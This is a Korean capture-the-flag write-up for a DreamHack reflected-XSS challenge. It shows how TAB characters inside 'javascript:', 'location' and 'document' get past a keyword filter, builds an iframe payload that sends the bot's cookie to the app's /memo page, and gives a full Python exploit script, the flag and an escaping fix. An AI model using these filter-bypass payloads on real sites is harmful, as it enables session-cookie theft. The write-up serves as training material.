문제: DreamHack — XSS Filtering Bypass Advanced 분류: Web Hacking (XSS) 난이도: ⭐⭐⭐ Level 3 FLAG:
DH{e8140ed5b0770088dd2012e1c9dfd4b4}
문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | XSS Filtering Bypass Advanced |
| 난이도 | ⭐⭐⭐ Level 3 |
| 제공 파일 | 소스코드 (Flask 앱 + Docker) |
| 기술 스택 | Python Flask, Selenium Chrome Bot |
| 핵심 취약점 | Reflected XSS + Filter Bypass |
| 공격 기법 | TAB 문자(\t) 우회 + javascript: URL + 쿠키 탈취 |
이전 문제(XSS Filtering Bypass)의 패치 버전이다. 1차 필터에서 3개 키워드만 막았던 게 이번엔 8개가 더 추가됐다.
| 분류 | 이전 문제 | 이번 문제 추가 |
|---|---|---|
| 1차 필터 | script, on, javascript | (동일) |
| 2차 필터 (추가) | — | window, self, this, document, location, (, ), &# |
특히 함수 호출 ()까지 막아버렸다. alert(1)도 못 쓰고, atob()도 못 쓰고, 어지간한 JS 실행 방법이 전부 차단이다.
얼핏 보면 아무것도 못 할 것 같은데 — 단 하나의 사실로 다 뚫린다: 브라우저는 URL 속 TAB 문자를 정규화 단계에서 제거한다.
풀이 흐름:
app.py분석 → 앱 구조 + 취약 포인트 파악xss_filter함수 뜯기 → 뭐가 막히고 뭐가 뚫리는지 확인- TAB 우회 원리 이해
- payload 설계 +
/vuln에서 통과 확인 /flag제출 → 봇 트리거 →/memoFLAG 수거
🔬 소스코드 분석
Step 1 — 앱 구조 파악

메인 페이지에 세 개 링크가 있다: vuln(xss) page, memo, flag. 각 링크가 어떻게 생겼는지 간단히 살펴봤다.
vuln(xss) page 클릭 → /vuln 엔드포인트. param 없이 접속하면 빈 화면이 뜬다.

param=hello처럼 일반 텍스트를 넣으면 그대로 화면에 출력된다. 필터 통과 여부와 상관없이 /vuln이 param을 HTML에 그냥 박는 구조라는 게 바로 보인다.

memo 클릭 → /memo 엔드포인트. 현재 저장된 메모가 없으면 빈 화면. 공격 성공 후 봇 쿠키(flag)가 이 페이지에 쌓인다.

Flask 소스는 네 개 라우트:
@app.route("/") # 메인 페이지
@app.route("/vuln") # XSS 취약 페이지 — GET, param 그대로 HTML 출력
@app.route("/flag") # GET: 폼 | POST: 봇 트리거
@app.route("/memo") # 메모 저장/조회 (전역 변수 누적)공격 경로가 바로 보인다:
/flag POST (payload 제출)
→ 봇(Selenium Chrome)이 flag 쿠키 들고 /vuln?param=<payload> 방문
→ /vuln이 param을 HTML에 그대로 출력
→ 브라우저가 XSS 실행 → /memo?memo=<cookie> 요청
→ /memo에 flag 저장됨 → 내가 /memo GET으로 확인봇 관련 코드:
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG}):
return '<script>alert("wrong")</script>'
return '<script>alert("good")</script>'
return render_template("flag.html")
@app.route("/memo")
def memo():
global memo
if request.method == "GET":
if request.args.get("memo"):
memo += request.args.get("memo") + "\n"
return render_template("memo.html", memo=memo)세 가지를 기억해두면 흐름이 명확해진다:
/flagPOST:param을 받아check_xss로 봇에게 전달 → 봇이 방문할 때flag쿠키를 들고 다님urllib.parse.quote(param): param을 URL 인코딩해서 봇이 방문하는 URL에 삽입 → Flask가 디코딩 후xss_filter에 원문이 들어감/memo?memo=<value>: GET 요청이 오면 전역 변수에 누적 저장 — 공격 성공 시 봇 쿠키가 여기 쌓임
▶🐛 삽질 1 — script 태그, onerror 이벤트 핸들러 다 막혀있었다
제일 먼저 <script>alert(1)</script> 던져봤다. 바로 filtered!!!
http://host8.dreamhack.games:22964/vuln?param=%3Cscript%3Ealert%281%29%3C%2Fscript%3E
script 키워드가 차단된다는 건 알겠는데, 그럼 이벤트 핸들러로 우회하면 되지 않나 싶어서:
<img src=x onerror="alert(1)">
<svg onload="alert(1)">
<body onmouseover="alert(1)">다 막혔다. 1차 필터에 on이 있어서 onclick, onerror, onload 전부 걸린다.
http://host8.dreamhack.games:22964/vuln?param=%3Cimg+src%3Dx+onerror%3D%22alert%281%29%22%3E
on이 포함된 모든 문자열이 차단되기 때문에 이벤트 핸들러 계열은 전부 불가능하다.
실제로 DH 서버에서도 <script>alert(1)</script>를 URL에 넘겨보면 주소창에 그대로 표시되고 filtered!!! 반환된다.

Step 2 — xss_filter 함수 뜯기

def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
return "filtered!!!"
advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
for f in advanced_filter:
if f in text.lower():
return "filtered!!!"
return texttext.lower() 로 소문자 변환 후 부분 일치 검사. <SCRIPT>, <Script> 같은 대소문자 우회는 이미 막혀있다.
차단 항목 정리:
| 차단 분류 | 항목 |
|---|---|
| 코드 실행 태그 | script |
| 이벤트 핸들러 | on (모든 on* 핸들러) |
| JS 프로토콜 | javascript |
| 전역 객체 | window, self, this |
| DOM API | document, location |
| 함수 호출 | (, ) |
| HTML 엔티티 인코딩 | &# |
허용되는 것: <a>, <img>, <iframe>, src=, href=, =, ", ', /, ., + 등.
<iframe> 태그와 src 속성은 막지 않았다. 그리고 javascript라는 문자열 자체를 막았지, 브라우저가 URL을 정규화하는 과정은 고려하지 않았다.
▶🐛 삽질 2 — javascript: URL 직접 시도, HTML 엔티티 인코딩도 다 막혔다
<iframe>을 쓸 수 있으니까 javascript: 프로토콜이 바로 떠올랐다:
<iframe src="javascript:alert(1)">당연히 javascript 키워드에서 걸림. 그럼 HTML 엔티티로 인코딩하면?
<iframe src="javascript:alert(1)">
<iframe src="javascript:alert(1)">
<iframe src="javascript:alert(1)">&# 패턴이 2차 필터에 있어서 전부 차단.
http://host8.dreamhack.games:22964/vuln?param=%3Ciframe%20src%3D%22javascript%3Aalert%281%29%22%3E
http://host8.dreamhack.games:22964/vuln?param=%3Ciframe%20src%3D%22%26%23106%3Bavascript%3Aalert%281%29%22%3E
URL 인코딩(%6A...)도 시도해봤는데: Flask가 param을 URL 디코딩한 뒤 필터에 넣으니까 결국 javascript가 등장해서 걸린다.
Base64 같은 것도 고려했지만 atob() 실행에 () 가 필요하니 막힌다.
이쯤에서 "아 키워드 자체를 쪼개는 수밖에 없겠다" 는 생각을 했다.
💣 TAB 문자 우회
Step 3 — TAB으로 키워드 분리하기
스펙 근거 — WHATWG URL Standard §4.1
WHATWG URL Standard의 URL 파싱 알고리즘에는 다음 단계가 명시되어 있다:
"If input contains any ASCII tab or newline, validation error; remove all ASCII tab or newline from input."
ASCII tab(U+0009), LF(U+000A), CR(U+000D)은 URL 파싱 초기 단계에서 무조건 제거된다. 이 정규화는 href, src, action 같은 모든 URL 속성에 동일하게 적용된다.
참조:
이 정규화는 서버 측 URL 디코딩과는 완전히 별개의 레이어다. 여기서 많이 헷갈리는 포인트가 있다.
javas\tcript (TAB 리터럴, U+0009)
→ 필터 검사: "javascript" 없음 → 통과 ✓
→ 브라우저 URL 파싱: TAB 제거 → javascript: → 실행 ✓
javas%09cript (퍼센트 인코딩)
→ 필터 검사: "javascript" 없음 → 통과 ✓
→ 브라우저 URL 파싱: %09는 whitespace strip 대상 아님 → javascript: 인식 안 됨 ✗%09는 이미 인코딩된 시퀀스이므로 WHATWG URL 파싱 초기 whitespace strip 단계의 대상이 아니다. TAB 리터럴(U+0009)만 제거된다. <iframe src='javas%09cript:...'>를 HTML에 쓰면 브라우저가 javascript: URL로 인식하지 않아 실행되지 않는다.
http://host8.dreamhack.games:22964/vuln?param=%3Ciframe%20src%3D%27javas%09cript%3Alocatio%09n.href%3D%22%2Fmemo%3Fmemo%3Dtest%22%27%3E
javas\tcript를 /vuln?param=...에 보내면 filtered!!! 없이 그대로 출력된다. 필터는 javascript를 찾지 못하고, 브라우저는 iframe의 src를 파싱할 때 TAB을 제거해서 javascript: 로 실행한다.
차단 키워드별 TAB 삽입 위치:
| 차단 키워드 | TAB 우회 형태 | 구분 방법 |
|---|---|---|
javascript | javas\tcript | 어디든 중간에 끼우면 됨 |
location | locatio\tn | 끝쪽 분리 |
document | do\tcument | 앞쪽 분리 |
🎯 Payload 설계
Step 4 — 최종 payload 조립
쿠키를 /memo로 탈취할 방법이 필요하다. document.cookie 읽어서 location.href로 리다이렉트하는 게 제일 깔끔하다. ()가 막혔으니 함수 호출 없이 대입만으로:
location.href="/memo?memo="+document.cookie괄호 없음, 함수 호출 없음, 직접 대입. 이걸 javascript: URL에 넣고 키워드마다 TAB 삽입:
javas[TAB]cript:locatio[TAB]n.href="/memo?memo="+do[TAB]cument.cookie<iframe src=...>에 담으면 최종 payload는 이렇게 된다:
<iframe src='javas cript:locatio n.href="/memo?memo="+do cument.cookie'>TAB을 %09로 URL 인코딩하면:
http://host8.dreamhack.games:22964/vuln?param=%3Ciframe%20src%3D%27javas%09cript%3Alocatio%09n.href%3D%22%2Fmemo%3Fmemo%3D%22%2Bdo%09cument.cookie%27%3E
/vuln에서 실제로 통과되고 <iframe>이 렌더링된다.
http://host8.dreamhack.games:22964/vuln?param=%3Ciframe%20src%3D%27javas%09cript%3Alocatio%09n.href%3D%22%2Fmemo%3Fmemo%3D%22%2Bdo%09cument.cookie%27%3E
내 브라우저에서는 document.cookie가 비어있거나 다른 값이라 iframe 안에 /memo 페이지가 뜨지만 — 봇이 실행하면 봇의 flag 쿠키가 /memo로 날아간다.
▶🐛 삽질 3 — ()가 막혀서 alert(1) 확인도 못 했다
payload가 실행되는지 alert(1) 로 먼저 테스트하고 싶었는데 (, ) 가 모두 필터에 걸린다.
<iframe src="javascript:alert(1)"> ← ( ) 차단alert 없이 확인하는 방법을 생각해봤다:
location.href대입 → 리다이렉트로 확인 가능document.title대입 → 직접 변경 가능location.hash대입 → URL 해시 변경으로 확인
결국 확인 방법도 리다이렉트 기반으로 바꾸고 /memo에 뭔가 남기는 식으로 접근했다. 물론 여기도 TAB 우회가 필요하다:
<!-- 테스트: /memo에 고정 텍스트 남기기 (TAB 우회 적용) -->
<iframe src='javas cript:locatio n.href="/memo?memo=test_ok"'>test_ok가 /memo에 남아있으면 iframe이 실제로 실행됐다는 증거다. 봇 트리거 전에 payload가 동작하는지 먼저 검증할 수 있다.
🚀 실제로 터뜨려보자
Step 5 — /flag 폼 제출 + 봇 트리거

/flag 페이지는 간단한 폼이다. param 입력하고 submit하면 봇이 127.0.0.1:8000/vuln?param=<URL_인코딩된_payload>를 방문한다.
Python으로 자동화:
import requests
BASE = "http://host8.dreamhack.games:22964"
payload = "<iframe src='javas\tcript:locatio\tn.href=\"/memo?memo=\"+do\tcument.cookie'>"
# 1. 필터 통과 확인
r = requests.get(f"{BASE}/vuln", params={"param": payload})
print("filtered" not in r.text) # True면 통과
# 2. 봇 트리거
requests.post(f"{BASE}/flag", data={"param": payload})requests.post에서 data={"param": payload}는 form-urlencoded로 전송된다. requests 라이브러리가 TAB을 %09로 URL 인코딩해서 HTTP body에 담아 전송하고, Flask가 request.form.get("param")으로 꺼낼 때 URL 디코딩되어 \t로 복원된다. xss_filter는 이 복원된 원문(TAB 포함) 을 검사하므로 javascript가 없어 통과.
봇이 실행하는 흐름:
봇 방문 URL: http://127.0.0.1:8000/vuln?param=%3Ciframe+src%3D%27javas%09cript%3A...%27%3E
Flask 디코딩: <iframe src='javas\tcript:locatio\tn.href="/memo?memo="+do\tcument.cookie'>
xss_filter: "javascript" not found → return text (통과)
HTML 출력: <iframe src='javas\tcript:...'> 그대로 브라우저에 전달
브라우저: src 속성 URL 파싱 → TAB 제거 → javascript:location.href=... 실행
결과: 봇 쿠키 → /memo?memo=flag=DH{...}Step 6 — /memo에서 FLAG 확인

봇 실행 후 약 5초 뒤 /memo를 열면 쿠키가 저장되어 있다.
flag=DH{e8140ed5b0770088dd2012e1c9dfd4b4}🎉 FLAG: DH{e8140ed5b0770088dd2012e1c9dfd4b4}
💥 Full Exploit 코드

#!/usr/bin/env python3
"""
XSS Filtering Bypass Advanced - TAB Character Filter Bypass
FLAG: DH{e8140ed5b0770088dd2012e1c9dfd4b4}
필터 우회 매핑:
javascript → javas\tcript (TAB 삽입)
location → locatio\tn (TAB 삽입)
document → do\tcument (TAB 삽입)
() → 불필요 (href 대입으로 우회)
"""
import requests
import time
import re
BASE = "http://host8.dreamhack.games:22964"
def get_memo():
r = requests.get(f"{BASE}/memo")
m = re.search(r'<pre>(.*?)</pre>', r.text, re.DOTALL)
return m.group(1).strip() if m else ""
# TAB(\t) 우회 payload
payload = "<iframe src='javas\tcript:locatio\tn.href=\"/memo?memo=\"+do\tcument.cookie'>"
# Step 1: 필터 통과 확인
r = requests.get(f"{BASE}/vuln", params={"param": payload})
if "filtered" in r.text:
print("[-] Filter NOT bypassed. Exiting.")
exit(1)
print("[+] Filter bypassed!")
# Step 2: 봇 트리거
r = requests.post(f"{BASE}/flag", data={"param": payload})
print("[*] Bot triggered")
# Step 3: 봇 실행 대기
print("[*] Waiting for bot (5s)...")
time.sleep(5)
# Step 4: /memo에서 FLAG 확인
memo = get_memo()
flag = re.search(r'DH\{[^}]+\}', memo)
if flag:
print(f"\n[!] FLAG: {flag.group()}")
else:
print("[-] FLAG not found. Current memo:")
print(memo)실행:
python3 exploit.py🛡️ 한 줄 요약하면
| 단계 | 내용 |
|---|---|
| 취약점 | /vuln param이 HTML에 그대로 출력 (Reflected XSS) |
| 공격 경로 | /flag POST → 봇이 /vuln 방문 → 쿠키 탈취 |
| 필터 우회 | TAB(\t, %09)을 키워드 중간에 삽입 |
| 우회 원리 | 필터는 원문 텍스트 검사 / 브라우저는 URL 정규화 후 실행 |
| 탈취 방식 | javascript: location.href="/memo?memo="+document.cookie |
| FLAG 위치 | /memo (전역 변수 누적 저장) |
방어 방법
# ❌ 현재 코드 — 필터 방식, 우회 가능
return xss_filter(param)
# ✅ 올바른 방어 — 출력 시 HTML 이스케이프
from markupsafe import escape
return str(escape(param))<, >, ", ', & 를 엔티티로 변환하면 태그 삽입 자체가 불가능해진다. 필터 방식은 항상 우회 가능성이 있고, 출력 이스케이프가 훨씬 근본적인 해결책이다.
📝 결국 TAB 하나였다
두꺼운 필터처럼 보여도 필터 코드와 브라우저 파싱 사이의 갭이 열려있으면 뚫린다. 이번 문제의 갭은 딱 하나: 필터는 원문 텍스트를 검사하고, 브라우저는 URL 정규화 후 실행한다.
핵심 세 가지:
<iframe src="javascript:...">—<script>없이 JS 실행 가능- TAB으로 키워드를 쪼개면 — 필터를 통과하고 브라우저에서 정상 실행됨
location.href대입 —()없이 리다이렉트로 쿠키 탈취 가능
CTF에서 XSS 필터 우회는 이 패턴이 자주 나온다. 브라우저가 정규화/인코딩/파싱 과정에서 필터가 보지 못한 것을 재조합해서 실행하는 방식. TAB 외에도 \n, \r, Unicode 정규화, HTML 엔티티 이중 디코딩이 같은 맥락이다.